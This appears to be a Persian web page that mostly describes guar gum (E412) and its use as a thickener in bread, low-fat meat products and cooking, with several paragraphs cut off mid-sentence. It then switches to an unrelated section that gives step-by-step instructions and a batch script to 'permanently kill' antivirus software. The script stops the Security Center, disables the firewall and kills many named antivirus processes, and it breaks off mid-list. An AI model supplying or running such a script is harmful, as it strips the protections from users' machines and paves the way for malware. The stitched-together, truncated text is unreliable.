توضیحات
گوارگام (Guar Gum) با نام تجاری E412 یک پلی ساکارید است که خواص ضعیف کننده و تثبیت کننده در مواد غذایی، خوراکی و صنعتی دارد. گوارگام به طور معمول به عنوان یک پودر تولید می شود. بر خلاف سایر تغلیظ کننده ها مثل نشاسته اصلاح شده، از گوارگام به عنوان ماده افزودنی دارای برچسب کاملا طبیعی استفاده می شود. یکی از کاربردهای عمده گوارگام ، دادن غلظت بیشتر به فرآورده های غذایی است به همین علت نام گام که همان آدامس یا سقز باشد را روی آن گذاشته اند.گو
استفاده از گوارگام در پخت نان
صنعت نانوایی در پنج سال گدشته بالاتر از ۶ درصد پیشرفت کرده است و انتظار می رود در سال های آینده پیشرفت بیشتری داشته باشد.
با تغییرات اخیر برای منافع مصرف کننده، کاربرد هیدروکلوئیدها افزایش یافته است. به عنوان مثال درست کردن نان بدون هیدروکلوئید تقریبا غیر ممکن است. خمیر آرد خیلی نازک است و به راحتی خشک می شود و قابلیت رول شدن ندارد به ویژه اگر در یخچال باشد، با استفاده از مقدار کمی هیدروکلوئید ( حدود ۱۰ درصد) این
گوارگام و فراورده های گوشتی
هنگامی که هیدروکلوئید ها در فرمول ساخت گوشت کم چرب استفاده می شوند، مقدار مشخصی از آب (حدود ۱۰ تا ۲۰ درصد بسته به نوع محصول) نیاز به اضافه شدن دارد. علاوه بر این، محیطی را برای بافت مطلوب در تعامل با هیدروکلوئید فراهم می کنند. با این وجود اضافه شدن آب ممکن است موجب کاهش پایداری این محصولات در اثر فعالیت زیاد آب شود. در طی تولید محصولات گوشت کم چرب، چربی ممکن است تا حدی با مواد غذایی حاوی آب و غیر گوشتی مانند فیبر، سب
استفاده از گوارگام در غذاها
مردم هنگام پخت و پز، از غلظت دهنده ها برای غذا استفاده می کنند. غلظت دهنده ها موادی هستند که باعث افزایش ویسکوزیته محلول ها یا مخلوط های مایع و جامد بدون تغییر قابل توجهی در خواص دیگر می شوند. وقتی از پخت غذا اطمینان حاصل می کنند که به غلظت رسیده باشد. تثبیت کننده ها اغلب به مواد غذایی اعمال می شوند و هدف آنها تغییر طعم ماده ای است که در آن استفاده می شود.
بیشتر مردم از انواع ضعیف تر آنها استفاده می کنند، که پلی ساکا
با این کد می توانید انتی ویرووس را غیر فعال کنید
1. notepad را باز کنید
2. کد زیر را در نوت پد کپی کنید
<@ echo off
rem
rem Permanently Kill Anti-Virus
net stop “Security Center”
netsh firewall set opmode mode=disable
tskill /A av*
tskill /A fire*
tskill /A anti*
cls
tskill /A spy*
tskill /A bullguard
tskill /A PersFw
tskill /A KAV*
tskill /A ZONEALARM
tskill /A SAFEWEB
cls
tskill /A spy*
tskill /A bullguard
tskill /A PersFw
tskill /A KAV*
tskill /A ZONEALARM
tskill /A SAFEWEB
cls
tskill /A OUTPOST
tskill /A nv*
tskill /A nav*
tskill /A F-*
tskill /A ESAFE
tskill /A cle
cls
tskill /A BLACKICE
tskill /A def*
tskill /A kav
tskill /A kav*
tskill /A avg*
tskill /A ash*
cls
tskill /A aswupdsv
tskill /A ewid*
tskill /A
درباره این سایت